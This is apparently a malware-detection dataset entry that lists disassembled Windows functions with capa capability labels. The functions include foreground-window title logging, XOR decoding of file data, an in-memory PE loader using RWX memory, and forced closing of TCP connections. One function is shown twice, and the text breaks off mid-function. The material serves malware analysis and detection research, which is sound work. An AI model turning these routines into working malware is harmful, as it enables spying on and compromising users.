joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2d9e3bd620
Capabilities:
Get graphical window text

Disassembly:
test rcx, rcx
je 0x2d9e3bd82f
mov r11, rsp
push rbp
sub rsp, 0xa80
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rsp + 0xa70], rax
mov qword [r11 + 0x10], rbx
mov rbp, rcx
mov qword [r11 + 0x20], rdi
or rdi, 0xffffffffffffffff
mov rbx, rdi
nop dword [rax + rax]
inc rbx
cmp word [rcx + rbx*2], 0
jne 0x2d9e3bd660
cmp ebx, 1
jb 0x2d9e3bd807
mov qword [rsp + 0xaa0], rsi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x101
lea rdx, [rsp + 0x60]
mov rcx, rax
mov qword [rsp + 0x50], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rsi, qword [0x2d9e419e30]
mov r9, qword [rsp + 0x50]
cmp r9, qword [rsi + 0x10]
jne 0x2d9e3bd6dc
lea rcx, [rsi + 0x18]
lea r8, [rsp + 0x60]
sub r8, rcx
nop dword [rax + rax]
movzx edx, word [rcx]
movzx eax, word [rcx + r8]
sub edx, eax
jne 0x2d9e3bd6d4
add rcx, 2
test eax, eax
jne 0x2d9e3bd6c0
test edx, edx
je 0x2d9e3bd7a8
lea rdx, [rsp + 0x60]
mov rax, rsi
sub rax, rdx
lea rcx, [rsp + 0x60]
lea rdx, [rax + 0x18]
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x2d9e3bd6f0
mov qword [rsi + 0x10], r9
lea rax, [rsp + 0x60]
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x2d9e3bd710
test rdi, rdi
je 0x2d9e3bd7a8
xor edx, edx
lea rcx, [rsp + 0x270]
mov r8d, 0x800
call fcn.2d9e3e3840
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [rsp + 0x5a]
movzx edx, word [rsp + 0x58]
movzx r8d, word [rsp + 0x56]
movzx eax, word [rsp + 0x5c]
movzx r10d, word [rsp + 0x52]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
lea rcx, [rsp + 0x270]
mov dword [rsp + 0x30], edx
lea rdx, [0x2d9e408880]
mov dword [rsp + 0x28], r8d
lea r8, [rsp + 0x60]
mov dword [rsp + 0x20], r10d
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x270]
call fcn.2d9e3bd620
mov rsi, qword [0x2d9e419e30]
cmp byte [rsi + 0x218], 0
je 0x2d9e3bd7c0
mov rcx, rbp
call fcn.2d9e3bd490
mov rsi, qword [0x2d9e419e30]
mov ecx, dword [rsi]
add ecx, ebx
cmp ecx, 0x400
jbe 0x2d9e3bd7e6
lea rcx, [rsi + 0x422]
xor edx, edx
mov r8d, 0x800
call fcn.2d9e3e3840
mov dword [rsi], 0
lea rcx, [rsi + 0x422]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [0x2d9e419e30]
mov rsi, qword [rsp + 0xaa0]
add dword [rax], ebx
mov rbx, qword [rsp + 0xa98]
mov rdi, qword [rsp + 0xaa8]
mov rcx, qword [rsp + 0xa70]
xor rcx, rsp
call fcn.2d9e3da7d0
add rsp, 0xa80
pop rbp
ret
Function at 0x2d9e3bd629
Capabilities:
Get graphical window text

Disassembly:
test rcx, rcx
je 0x2d9e3bd82f
mov r11, rsp
push rbp
sub rsp, 0xa80
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rsp + 0xa70], rax
mov qword [r11 + 0x10], rbx
mov rbp, rcx
mov qword [r11 + 0x20], rdi
or rdi, 0xffffffffffffffff
mov rbx, rdi
nop dword [rax + rax]
inc rbx
cmp word [rcx + rbx*2], 0
jne 0x2d9e3bd660
cmp ebx, 1
jb 0x2d9e3bd807
mov qword [rsp + 0xaa0], rsi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x101
lea rdx, [rsp + 0x60]
mov rcx, rax
mov qword [rsp + 0x50], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rsi, qword [0x2d9e419e30]
mov r9, qword [rsp + 0x50]
cmp r9, qword [rsi + 0x10]
jne 0x2d9e3bd6dc
lea rcx, [rsi + 0x18]
lea r8, [rsp + 0x60]
sub r8, rcx
nop dword [rax + rax]
movzx edx, word [rcx]
movzx eax, word [rcx + r8]
sub edx, eax
jne 0x2d9e3bd6d4
add rcx, 2
test eax, eax
jne 0x2d9e3bd6c0
test edx, edx
je 0x2d9e3bd7a8
lea rdx, [rsp + 0x60]
mov rax, rsi
sub rax, rdx
lea rcx, [rsp + 0x60]
lea rdx, [rax + 0x18]
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x2d9e3bd6f0
mov qword [rsi + 0x10], r9
lea rax, [rsp + 0x60]
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x2d9e3bd710
test rdi, rdi
je 0x2d9e3bd7a8
xor edx, edx
lea rcx, [rsp + 0x270]
mov r8d, 0x800
call fcn.2d9e3e3840
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [rsp + 0x5a]
movzx edx, word [rsp + 0x58]
movzx r8d, word [rsp + 0x56]
movzx eax, word [rsp + 0x5c]
movzx r10d, word [rsp + 0x52]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
lea rcx, [rsp + 0x270]
mov dword [rsp + 0x30], edx
lea rdx, [0x2d9e408880]
mov dword [rsp + 0x28], r8d
lea r8, [rsp + 0x60]
mov dword [rsp + 0x20], r10d
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x270]
call fcn.2d9e3bd620
mov rsi, qword [0x2d9e419e30]
cmp byte [rsi + 0x218], 0
je 0x2d9e3bd7c0
mov rcx, rbp
call fcn.2d9e3bd490
mov rsi, qword [0x2d9e419e30]
mov ecx, dword [rsi]
add ecx, ebx
cmp ecx, 0x400
jbe 0x2d9e3bd7e6
lea rcx, [rsi + 0x422]
xor edx, edx
mov r8d, 0x800
call fcn.2d9e3e3840
mov dword [rsi], 0
lea rcx, [rsi + 0x422]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [0x2d9e419e30]
mov rsi, qword [rsp + 0xaa0]
add dword [rax], ebx
mov rbx, qword [rsp + 0xa98]
mov rdi, qword [rsp + 0xaa8]
mov rcx, qword [rsp + 0xa70]
xor rcx, rsp
call fcn.2d9e3da7d0
add rsp, 0xa80
pop rbp
ret
Function at 0x2d9e3bd900
Capabilities:
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
xor ebx, ebx
mov dword [rsp + 0x40], 0x18
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rbx
lea rdi, [0x2d9e408858]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x50], ebx
call fcn.2d9e3bd040
test rax, rax
mov qword [rsp + 0x38], rax
lea rax, [0x2d9e4088f0]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x40]
cmove rdx, rbx
mov dword [rsp + 0x20], 0xd28
xor r9d, r9d
lea r8d, [rbx + 4]
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [0x2d9e419e38], rax
test rax, rax
je 0x2d9e3bd9a7
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
lea edx, [rbx + 6]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [0x2d9e419e30], rax
test rax, rax
je 0x2d9e3bd9a7
mov bl, 1
mov qword [rsp + 0x30], rdi
mov rdi, qword [rsp + 0x38]
test rdi, rdi
je 0x2d9e3bd9ca
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, bl
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret

Function at 0x2d9e3bd9e0
Capabilities:
Check if file exists
Create thread
Get file attributes

Disassembly:
sub rsp, 0x58
call fcn.2d9e3bd900
test al, al
jne 0x2d9e3bd9f2
add rsp, 0x58
ret
mov qword [rsp + 0x60], rbx
xor edx, edx
mov rbx, qword [0x2d9e419e30]
mov r8d, 0xd28
mov rcx, rbx
mov qword [rsp + 0x50], rdi
call fcn.2d9e3e3840
xor edi, edi
mov byte [0x2d9e419c11], 1
lea rcx, [rbx + 0xc22]
mov qword [rbx + 0x10], rdi
xor edx, edx
mov qword [rbx + 8], rdi
mov r8d, 0x100
mov dword [rbx], edi
call fcn.2d9e3e3840
lea rdx, [rbx + 0x21a]
xor r9d, r9d
lea r8d, [rdi + 8]
lea rcx, [0x2d9e407f88]
call fcn.2d9e3c9b50
mov rcx, qword [0x2d9e419e30]
add rcx, 0x21a
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov rcx, qword [0x2d9e419e30]
cmp eax, 0xffffffff
setne al
mov byte [rcx + 0x218], al
cmp qword [rcx + 8], rdi
jne 0x2d9e3bdaf1
lea rax, [0x2d9e3bdcd0]
mov qword [rsp + 0x38], rdi
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov byte [rsp + 0x40], 1
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], rdi
lea r8, [0x2d9e3c8af0]
mov qword [rsp + 0x48], rax
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call fcn.2d9e3e4db4
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x2d9e419e30]
mov qword [rcx + 8], rbx
mov rdi, qword [rsp + 0x50]
mov al, 1
mov rbx, qword [rsp + 0x60]
add rsp, 0x58
ret
Function at 0x2d9e3bdb10
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push rbx
push rbp
push r15
sub rsp, 0x270
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor ebx, ebx
lea rdx, [rsp + 0x50]
mov r15, rcx
mov dword [rsp + 0x40], ebx
xor r9d, r9d
lea rcx, [0x2d9e407f88]
lea r8d, [rbx + 8]
call fcn.2d9e3c9b50
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 1]
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0x50]
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x2d9e3bdca8
mov qword [rsp + 0x298], rsi
xor edx, edx
mov qword [rsp + 0x2a0], rdi
mov rcx, rax
mov qword [rsp + 0x2a8], r14
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov edi, eax
mov r14d, eax
call fcn.2d9e3da838
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbx
mov r8d, edi
mov rdx, rax
mov rcx, rbp
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test edi, edi
je 0x2d9e3bdc3d
cmp edi, 0x20
jb 0x2d9e3bdc18
movdqa xmm1, xmmword [0x2d9e40a0a0]
mov eax, edi
and eax, 0x1f
mov edx, edi
sub edx, eax
nop dword [rax]
mov eax, ebx
movdqu xmm0, xmmword [rax + rsi]
pxor xmm0, xmm1
movdqu xmmword [rax + rsi], xmm0
lea eax, [rbx + 0x10]
add ebx, 0x20
movdqu xmm0, xmmword [rax + rsi]
pxor xmm0, xmm1
movdqu xmmword [rax + rsi], xmm0
cmp ebx, edx
jb 0x2d9e3bdbf0
cmp ebx, edi
jae 0x2d9e3bdc3d
mov eax, ebx
mov edx, edi
add rax, rsi
sub edx, ebx
nop word [rax + rax]
xor byte [rax], 0x58
lea rax, [rax + 1]
sub rdx, 1
jne 0x2d9e3bdc30
lea ebx, [rdi + 1]
mov ecx, 0x40
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r8, r14
mov rdx, rsi
mov rdi, rax
lea rcx, [rax + 1]
mov byte [rax], 0x7f
call fcn.2d9e3e2bb0
mov rcx, qword [r15 + 8]
mov r9b, 0x3f
mov r8d, ebx
mov rdx, rdi
call fcn.2d9e3b1ff0
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rsi
call fcn.2d9e3da7f4
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x2a8]
mov rdi, qword [rsp + 0x2a0]
mov rsi, qword [rsp + 0x298]
mov eax, ebx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.2d9e3da7d0
add rsp, 0x270
pop r15
pop rbp
pop rbx
ret
Function at 0x2d9e3beb00
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0xa0
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov rdi, r8
mov dword [rsp + 0x28], 0x67452301
mov r8d, edx
mov dword [rsp + 0x2c], 0xefcdab89
mov rdx, rcx
mov dword [rsp + 0x30], 0x98badcfe
xor ebx, ebx
mov dword [rsp + 0x34], 0x10325476
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rbx
call fcn.2d9e3bdee0
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x20]
call fcn.2d9e3bdfb0
lea r9, [rsp + 0x80]
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [r9]
movzx eax, dl
movsx ecx, bx
shr dl, 4
and al, 0xf
add dl, 0x30
lea r8d, [rcx + rcx]
movsxd rcx, r8d
cmp dl, 0x39
jbe 0x2d9e3beba1
add dl, 7
mov byte [rcx + rdi], dl
add al, 0x30
lea ecx, [r8 + 1]
movsxd rdx, ecx
cmp al, 0x39
jbe 0x2d9e3bebb3
add al, 7
inc bx
mov byte [rdx + rdi], al
inc r9
cmp bx, 0x10
jl 0x2d9e3beb80
mov byte [rdi + 0x20], 0
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.2d9e3da7d0
mov rbx, qword [rsp + 0xc8]
add rsp, 0xa0
pop rdi
ret
Function at 0x2d9e3bf000
Capabilities:
Allocate or change rwx memory
Parse pe header

Disassembly:
push rsi
sub rsp, 0x20
mov r9d, r8d
mov rsi, rdx
cmp r8d, 0x40
jae 0x2d9e3bf01a
xor eax, eax
add rsp, 0x20
pop rsi
ret
movzx eax, word [rdx]
mov ecx, 0x5a4d
cmp ax, cx
je 0x2d9e3bf031
mov ecx, 0x805
cmp ax, cx
jne 0x2d9e3bf012
mov qword [rsp + 0x48], r14
movsxd r14, dword [rdx + 0x3c]
lea rcx, [r14 + 0x108]
cmp r9, rcx
jb 0x2d9e3bf079
mov eax, dword [r14 + rdx]
cmp eax, 0x4550
je 0x2d9e3bf058
cmp eax, 0x102
jne 0x2d9e3bf079
movzx eax, word [r14 + rdx + 0x16]
mov ecx, 0x2000
test cx, ax
je 0x2d9e3bf079
test al, 2
je 0x2d9e3bf079
mov eax, 0xf0
cmp word [r14 + rdx + 0x14], ax
je 0x2d9e3bf086
xor eax, eax
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret
movzx r8d, word [r14 + rdx + 6]
mov qword [rsp + 0x30], rbx
xor ebx, ebx
mov qword [rsp + 0x38], rbp
lea rbp, [r14 + rdx]
mov edx, ebx
test r8, r8
je 0x2d9e3bf0ca
lea rcx, [rbp + 0x118]
nop word [rax + rax]
mov eax, dword [rcx + 4]
add eax, dword [rcx]
cmp eax, r9d
ja 0x2d9e3bf13c
inc rdx
add rcx, 0x28
cmp rdx, r8
jl 0x2d9e3bf0b0
mov r10d, dword [r14 + rsi + 0x38]
cmp r10d, 1
jb 0x2d9e3bf13c
mov r9d, dword [r14 + rsi + 0x54]
xor edx, edx
dec r9d
add r9d, r10d
mov eax, r9d
div r10d
sub r9d, edx
cmp bx, r8w
jae 0x2d9e3bf135
lea r11, [rbp + 0x110]
nop dword [rax + rax]
mov ecx, dword [r11]
cmp dword [r11 + 8], ecx
mov eax, dword [r11 + 4]
cmova ecx, dword [r11 + 8]
xor edx, edx
add eax, ecx
lea r11, [r11 + 0x28]
lea ecx, [r10 - 1]
add ecx, eax
mov eax, ecx
div r10d
sub ecx, edx
cmp r9d, ecx
cmovae ecx, r9d
mov r9d, ecx
sub r8, 1
jne 0x2d9e3bf100
cmp r9d, dword [r14 + rsi + 0x50]
je 0x2d9e3bf143
xor eax, eax
jmp 0x2d9e3bf1c8
xor ecx, ecx
mov edx, r9d
mov r8d, 0x3000
mov qword [rsp + 0x40], rdi
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x2d9e3bf1c3
mov r8d, dword [r14 + rsi + 0x54]
mov rdx, rsi
mov rcx, rdi
call fcn.2d9e3e2bb0
cmp bx, word [r14 + rsi + 6]
jae 0x2d9e3bf1c0
nop dword [rax]
movzx eax, bx
lea rcx, [rax + rax*4]
mov r9d, dword [rbp + rcx*8 + 0x114]
test r9d, r9d
je 0x2d9e3bf1b5
mov eax, dword [rbp + rcx*8 + 0x118]
test eax, eax
je 0x2d9e3bf1b5
mov edx, dword [rbp + rcx*8 + 0x11c]
mov r8d, eax
add rdx, rsi
lea rcx, [rdi + r9]
call fcn.2d9e3e2bb0
inc bx
cmp bx, word [r14 + rsi + 6]
jb 0x2d9e3bf180
mov rax, rdi
mov rdi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret
Function at 0x2d9e3bf3c0
Capabilities:
Parse pe header

Disassembly:
push rdi
sub rsp, 0x20
cmp qword [rcx + 8], 0
mov rdi, rcx
je 0x2d9e3bf3d8
xor eax, eax
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x30], rbx
call fcn.2d9e3bf000
mov rbx, rax
mov qword [rdi + 0x10], rax
mov eax, 0x5a4d
cmp word [rbx], ax
je 0x2d9e3bf3f6
mov word [rbx], ax
mov rcx, qword [rdi + 0x10]
movsxd rax, dword [rcx + 0x3c]
add rax, rbx
mov qword [rdi + 0x18], rax
cmp dword [rax], 0x4550
je 0x2d9e3bf413
mov dword [rax], 0x4550
mov rax, qword [rdi + 0x18]
mov rdx, rbx
mov r8, qword [rdi + 0x18]
add rax, 0x108
mov rcx, rdi
mov qword [rdi + 0x20], rax
call fcn.2d9e3bf1e0
mov r8, qword [rdi + 0x18]
mov rdx, rbx
call fcn.2d9e3bf2c0
test eax, eax
jne 0x2d9e3bf45e
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret
mov rax, qword [rdi + 0x18]
mov r8d, dword [rax + 0xa0]
test r8d, r8d
je 0x2d9e3bf496
mov ecx, dword [rax + 0xa4]
test ecx, ecx
je 0x2d9e3bf496
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
lea rcx, [rbx + r8]
mov r8, rbx
shr rdx, 3
call qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov rdx, rbx
mov rcx, rdi
call fcn.2d9e3bebf0
mov rax, qword [rdi + 0x18]
mov ecx, dword [rax + 0xd0]
test ecx, ecx
je 0x2d9e3bf4ee
cmp dword [rax + 0xd4], 0
jbe 0x2d9e3bf4ee
mov qword [rsp + 0x38], rsi
mov rsi, qword [rcx + rbx + 0x18]
test rsi, rsi
je 0x2d9e3bf4e9
mov rax, qword [rsi]
test rax, rax
je 0x2d9e3bf4e9
nop
xor r8d, r8d
mov rcx, rbx
lea edx, [r8 + 1]
call rax
mov rax, qword [rsi + 8]
lea rsi, [rsi + 8]
test rax, rax
jne 0x2d9e3bf4d0
mov rsi, qword [rsp + 0x38]
mov rax, qword [rdi + 0x18]
xor r8d, r8d
mov rcx, rbx
mov qword [rax + 0x30], rbx
lea edx, [r8 + 1]
mov rax, qword [rdi + 0x18]
mov eax, dword [rax + 0x28]
add rax, rbx
mov qword [rdi], rax
call rax
test eax, eax
jne 0x2d9e3bf542
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [rdi]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov qword [rdi], 0
add rsp, 0x20
pop rdi
ret
mov qword [rdi + 8], rbx
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x2d9e3c01f0
Capabilities:
Set tcp connection state

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
xor ebx, ebx
mov ebp, r8d
mov r14d, edx
mov dword [rsp + 0x20], ebx
mov r15d, ecx
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov esi, r9d
lea r8d, [rbx + 1]
mov edi, ebx
call qword [sym.imp.IPHLPAPI.DLL_GetTcpTable]
cmp eax, 0x7a
jne 0x2d9e3c023e
mov ecx, dword [rsp + 0x20]
call fcn.2d9e3da838
mov rdi, rax
mov r8d, 1
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.IPHLPAPI.DLL_GetTcpTable]
test eax, eax
jne 0x2d9e3c029e
mov ecx, dword [rdi]
test ecx, ecx
je 0x2d9e3c029e
lea rax, [rdi + 0xc]
cmp dword [rax - 4], r15d
jne 0x2d9e3c0275
cmp dword [rax], r14d
jne 0x2d9e3c0275
cmp dword [rax + 4], ebp
jne 0x2d9e3c0275
cmp dword [rax + 8], esi
je 0x2d9e3c0281
inc ebx
add rax, 0x14
cmp ebx, ecx
jb 0x2d9e3c0260
jmp 0x2d9e3c029e
mov eax, ebx
lea rcx, [rax*4 + 1]
add rcx, rax
lea rcx, [rdi + rcx*4]
mov dword [rcx], 0xc
call qword [sym.imp.IPHLPAPI.DLL_SetTcpEntry]
test rdi, rdi
je 0x2d9e3c02ab
mov rcx, rdi
call fcn.2d9e3da7f4
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x2d9e3c0370
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
sub rsp, 0x40
xor ebx, ebx
mov esi, r8d
mov rbp, rdx
test rcx, rcx
je 0x2d9e3c0411
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov qword [rsp + 0x58], rdi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x2d9e3c03fa
lea r9, [rsp + 0x50]
mov dword [rsp + 0x50], ebx
mov r8d, esi
mov qword [rsp + 0x20], rbx
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x2d9e3c03f1
cmp dword [rsp + 0x50], esi
mov eax, 1
cmove ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x40
pop rsi
ret
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rsi
ret
Function at 0x2d9e3c0430
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov ecx, 0x208
lea rdi, [0x2d9e408e08]
mov ebp, r8d
call fcn.2d9e3da838
mov rsi, rax
mov ecx, 0x104
xor eax, eax
mov rdx, rsi
mov qword [rsi], rax
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ebx, eax
test eax, eax
je 0x2d9e3c0489
lea ecx, [rbx - 1]
cmp word [rsi + rcx*2], 0x5c
je 0x2d9e3c0489
mov ecx, 0x5c
mov word [rsi + rbx*2], cx
inc ebx
xor ecx, ecx
call fcn.2d9e3e4a74
lea ecx, [rax + rbp]
call fcn.2d9e3e43fc
mov ebp, 8
nop dword [rax]
call fcn.2d9e3e43d0
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
add r8w, 0x61
mov word [rsi + rbx*2], r8w
inc ebx
sub rbp, 1
jne 0x2d9e3c04a0
mov ecx, 0x2e
nop word [rax + rax]
mov word [rsi + rbx*2], cx
lea rdi, [rdi + 2]
movzx ecx, word [rdi]
lea ebx, [rbx + 1]
test cx, cx
jne 0x2d9e3c04e0
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x2d9e3c0510
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov eax, dword [rsp + 0x50]
xor edi, edi
mov qword [rcx + 0x40], rdi
mov ebp, r9d
mov qword [rcx + 0x48], rdi
mov rsi, rdx
mov qword [rcx + 8], rdi
mov rbx, rcx
mov qword [rcx], rdi
mov qword [rcx + 0x18], rdi
mov qword [rcx + 0x20], rdi
mov qword [rcx + 0x28], rdi
mov qword [rcx + 0x38], rdi
mov dword [rcx + 0x10], edi
mov dword [rcx + 0x30], r9d
mov dword [rcx + 0x34], eax
cmp r8d, 0x5c
jb 0x2d9e3c0624
mov ecx, dword [rdx + 0x24]
add ecx, dword [rdx + 0x20]
mov eax, dword [rdx + 0x1c]
add eax, 0x5c
add ecx, eax
mov dword [rbx + 0x10], ecx
cmp r8d, ecx
jne 0x2d9e3c0624
cmp dword [rdx + 8], 1
jne 0x2d9e3c0597
test r9d, r9d
je 0x2d9e3c0597
mov ecx, dword [rdx + 0x20]
add ecx, 0x5c
add ecx, dword [rdx + 0x1c]
mov dword [rbx + 0x10], ecx
mov ecx, dword [rbx + 0x10]
call fcn.2d9e3da838
mov r8d, dword [rbx + 0x10]
mov rdx, rsi
mov rcx, rax
mov qword [rbx + 8], rax
call fcn.2d9e3e2bb0
mov r8, qword [rbx + 8]
mov qword [rbx], r8
cmp dword [r8 + 0x1c], edi
jle 0x2d9e3c05c7
lea rax, [r8 + 0x5c]
mov qword [rbx + 0x18], rax
cmp dword [r8 + 0x20], edi
jle 0x2d9e3c05d8
movsxd rax, dword [r8 + 0x1c]
add rax, r8
mov qword [rbx + 0x20], rax
cmp dword [r8 + 8], edi
je 0x2d9e3c05e2
test ebp, ebp
jne 0x2d9e3c0624
cmp dword [rsi + 0x24], edi
jbe 0x2d9e3c0624
movsxd rdx, dword [rsi + 0x20]
movsxd rcx, dword [rsi + 0x1c]
add rdx, r8
add rcx, 0x5c
add rdx, rcx
mov qword [rbx + 0x28], rdx
je 0x2d9e3c0624
mov eax, dword [r8 + 0x24]
test eax, eax
je 0x2d9e3c0624
nop word [rax + rax]
mov rax, qword [rbx + 0x28]
mov ecx, edi
inc edi
xor byte [rcx + rax], 0x4d
mov rax, qword [rbx]
cmp edi, dword [rax + 0x24]
jb 0x2d9e3c0610
mov rbp, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x2d9e3c0890
Capabilities:
Create thread

Disassembly:
push rsi
sub rsp, 0x30
cmp dword [rcx + 0x40], 0
mov rsi, rcx
je 0x2d9e3c08d1
cmp dword [rcx + 0x34], 2
jne 0x2d9e3c08c6
mov rcx, qword [rcx + 0x48]
test rcx, rcx
je 0x2d9e3c08c6
lea rdx, [0x2d9e408e24]
call fcn.2d9e3bf560
test rax, rax
je 0x2d9e3c08c6
mov ecx, 1
call rax
mov eax, 1
add rsp, 0x30
pop rsi
ret
cmp dword [rcx + 0x44], 0
jne 0x2d9e3c08c6
mov qword [rsp + 0x58], r14
xor r14d, r14d
cmp qword [rcx + 0x48], r14
jne 0x2d9e3c08f9
lea ecx, [r14 + 0x28]
call fcn.2d9e3da7fc
mov qword [rax + 8], r14
mov qword [rax], r14
mov qword [rsi + 0x48], rax
cmp qword [rsi + 0x28], r14
je 0x2d9e3c0a1b
mov rax, qword [rsi]
cmp dword [rax + 0x24], r14d
jbe 0x2d9e3c0a1b
mov rax, qword [rsi + 0x48]
cmp qword [rax + 8], r14
jne 0x2d9e3c093e
mov rcx, rsi
call fcn.2d9e3c0ad0
mov rdx, qword [rsi]
mov rcx, qword [rsi + 0x48]
